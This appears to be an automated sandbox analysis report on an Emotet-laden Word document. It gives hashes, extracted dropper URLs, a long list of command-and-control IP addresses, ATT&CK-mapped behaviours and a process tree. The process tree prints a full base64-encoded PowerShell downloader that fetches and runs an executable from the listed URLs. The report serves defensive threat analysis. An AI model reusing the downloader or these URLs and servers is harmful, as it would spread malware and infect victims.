emotet | bbd5fa6f8a7f89155f18a2ce58a3c8c5ec96ad3452ac15957567098125fce163

General

Target
emotet_e1_bbd5fa6f8a7f89155f18a2ce58a3c8c5ec96ad3452ac15957567098125fce163_2020-09-21__111806235427._doc.doc
Size 214KB
Sample200921-xwerbara8a
SHA256 bbd5fa6f8a7f89155f18a2ce58a3c8c5ec96ad3452ac15957567098125fce163
MD5 3f5ec0d6820f48c5109cb2be707e2e59
SHA1 49a7820ebeb4a7601ae3fe4451ad2855b7f134b8
SHA512 69564784c6607c4a9a86c18dfab9f3bce0c0b9e1d1ebde8081b62a95b2eab1139f536cb256e8f501e20f11471dfc6d5d9c463923913b609a492606cc42fb8285
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://dongyabingfu.com/wp-includes/w/
exe.dropper
http://givingthanksdaily.com/Q/
exe.dropper
http://uniteddatabase.net/wp-admin/dhJ/
exe.dropper
http://www.gozowindmill.com/meteo/nmy/
exe.dropper
http://kcdryervents.com/ca/D/
exe.dropper
http://www.greaudstudio.com/docs/kGQ/
exe.dropper
https://mrveggy.com/erros/3Ss/

Extracted

Family

emotet

C2

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3780	2264	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4036-15-0x0000000002280000-0x0000000002292000-memory.dmp	emotet
behavioral2/memory/4036-15-0x0000000002280000-0x0000000002292000-memory.dmp	emotet
behavioral2/memory/4036-16-0x00000000021E0000-0x00000000021F0000-memory.dmp	emotet
behavioral2/memory/4036-16-0x00000000021E0000-0x00000000021F0000-memory.dmp	emotet
behavioral2/memory/1068-19-0x00000000005E0000-0x00000000005F2000-memory.dmp	emotet
behavioral2/memory/1068-19-0x00000000005E0000-0x00000000005F2000-memory.dmp	emotet
behavioral2/memory/1068-20-0x0000000000610000-0x0000000000620000-memory.dmp	emotet
behavioral2/memory/1068-20-0x0000000000610000-0x0000000000620000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
22	3780	powershell.exe
34	3780	powershell.exe
36	3780	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4036	Iy44j7.exe
1068	racpldlg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\drttransport\racpldlg.exe	Iy44j7.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
788	WINWORD.EXE
788	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
1068	racpldlg.exe
1068	racpldlg.exe
1068	racpldlg.exe
1068	racpldlg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
788	WINWORD.EXE
4036	Iy44j7.exe
1068	racpldlg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 4036	3780	powershell.exe	81
PID 3780 wrote to memory of 4036	3780	powershell.exe	81
PID 3780 wrote to memory of 4036	3780	powershell.exe	81
PID 4036 wrote to memory of 1068	4036	Iy44j7.exe	82
PID 4036 wrote to memory of 1068	4036	Iy44j7.exe	82
PID 4036 wrote to memory of 1068	4036	Iy44j7.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bbd5fa6f8a7f89155f18a2ce58a3c8c5ec96ad3452ac15957567098125fce163_2020-09-21__111806235427._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABYADMAZAB4AGIAaQBnAD0AKAAoACcARgAwACcAKwAnADIAJwApACsAKAAnAG8AMAAnACsAJwAyAGEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAcwBFAHIAcABSAE8AZgBpAEwARQBcAE8ANAA0AHYAawA0AHcAXAB1AGwASgAyAEgAQgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAHUAUgBgAEkAYABUAHkAUABSAE8AdABvAGAAQwBvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAaAB4AHgAZwBjAHMAIAA9ACAAKAAnAEkAJwArACgAJwB5ADQANAAnACsAJwBqACcAKQArACcANwAnACkAOwAkAFYAcQBxAHoAdgBhAHgAPQAoACcASgByACcAKwAoACcAdgAnACsAJwAxAHAAXwAnACkAKwAnADcAJwApADsAJABRAGMAbgByADcAawBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AdQAnACsAKAAnAHcAJwArACcATwA0ADQAdgBrADQAJwApACsAJwB3ACcAKwAnAE8AdQAnACsAKAAnAHcAJwArACcAVQBsAGoAMgBoAGIAMQAnACsAJwBPACcAKwAnAHUAJwApACsAJwB3ACcAKQAgAC0AQwByAGUAcABsAGEAQwBFACAAKAAnAE8AJwArACcAdQB3ACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABLAGgAeAB4AGcAYwBzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASQB3AHkAbwBtAGMAaQA9ACgAJwBBAGsAJwArACcAZgAnACsAKAAnAHAAJwArACcAdABqADkAJwApACkAOwAkAEMAbgB3ADIAegBvAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAEsAdgB1AGYAdwB2AG4APQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGQAJwApACsAJwBvACcAKwAoACcAbgBnAHkAYQAnACsAJwBiACcAKQArACgAJwBpAG4AZwBmACcAKwAnAHUAJwApACsAKAAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpAG4AYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AJwArACcAdwAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AZwAnACsAJwBpAHYAJwApACsAKAAnAGkAbgBnAHQAaAAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAcwBkAGEAaQBsAHkAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBRAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAdQAnACsAJwBuAGkAJwApACsAKAAnAHQAZQBkACcAKwAnAGQAJwApACsAKAAnAGEAdAAnACsAJwBhACcAKQArACcAYgAnACsAKAAnAGEAcwAnACsAJwBlACcAKQArACgAJwAuACcAKwAnAG4AZQAnACkAKwAnAHQAJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAGQAJwApACsAKAAnAGgAJwArACcASgAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AdwAnACkAKwAnAHcAdwAnACsAKAAnAC4AZwAnACsAJwBvAHoAJwArACcAbwB3AGkAbgAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbAAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAbQAnACkAKwAnAGUAJwArACgAJwB0AGUAbwAnACsAJwAvAG4AJwApACsAKAAnAG0AeQAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AawBjACcAKwAnAGQAJwApACsAJwByAHkAJwArACcAZQByACcAKwAoACcAdgBlAG4AJwArACcAdAAnACkAKwAoACcAcwAnACsAJwAuAGMAbwBtAC8AYwBhACcAKQArACcALwAnACsAJwBEAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuACcAKQArACgAJwBnAHIAZQAnACsAJwBhAHUAZAAnACkAKwAnAHMAdAAnACsAJwB1ACcAKwAnAGQAJwArACgAJwBpAG8ALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwBkAG8AYwAnACkAKwAnAHMALwAnACsAJwBrACcAKwAnAEcAUQAnACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAG0AJwArACgAJwByAHYAZQAnACsAJwBnACcAKwAnAGcAeQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAcgByACcAKwAnAG8AJwArACcAcwAvADMAUwAnACkAKwAnAHMALwAnACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBoAGoAZwB3AHQAdwA9ACgAKAAnAE8AJwArACcAdQBvADgAJwApACsAKAAnAG8AYQAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQA1AGoAbgB3AGIAcQAgAGkAbgAgACQASwB2AHUAZgB3AHYAbgApAHsAdAByAHkAewAkAEMAbgB3ADIAegBvAHoALgAiAEQAYABvAFcAbgBMAGAAbwBBAGAAZABGAGkATABFACIAKAAkAEUANQBqAG4AdwBiAHEALAAgACQAUQBjAG4AcgA3AGsAbgApADsAJABMAGUAcQBoAHcAcgBoAD0AKAAnAEYAcgAnACsAKAAnAHkAawAnACsAJwA2ACcAKQArACcAaAA2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGMAbgByADcAawBuACkALgAiAGwAYABlAG4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADEAMgAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFEAYwBuAHIANwBrAG4AKQA7ACQAVQB6AGgAMQB6ADAANQA9ACgAJwBOACcAKwAoACcANQA0ACcAKwAnAHoAbAB2AGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEEAMABwADQAMgBnAHUAPQAoACcATQAwACcAKwAoACcAZQAnACsAJwA2AG0AagBtACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAG4AdgBtAG8AcAAzAD0AKAAoACcAUQBoAGMAJwArACcAeQBwACcAKQArACcAZAAnACsAJwA5ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe
  "C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\SysWOW64\drttransport\racpldlg.exe
    "C:\Windows\SysWOW64\drttransport\racpldlg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/788-0-0x00007FFE3ED40000-0x00007FFE3F406000-memory.dmp

Download

memory/1068-19-0x00000000005E0000-0x00000000005F2000-memory.dmp

Download

memory/1068-20-0x0000000000610000-0x0000000000620000-memory.dmp

Download

memory/3780-11-0x00000271FE650000-0x00000271FE651000-memory.dmp

Download

memory/3780-10-0x00000271FE380000-0x00000271FE381000-memory.dmp

Download

memory/3780-9-0x00007FFE378E0000-0x00007FFE382CC000-memory.dmp

Download

memory/4036-15-0x0000000002280000-0x0000000002292000-memory.dmp

Download

memory/4036-16-0x00000000021E0000-0x00000000021F0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads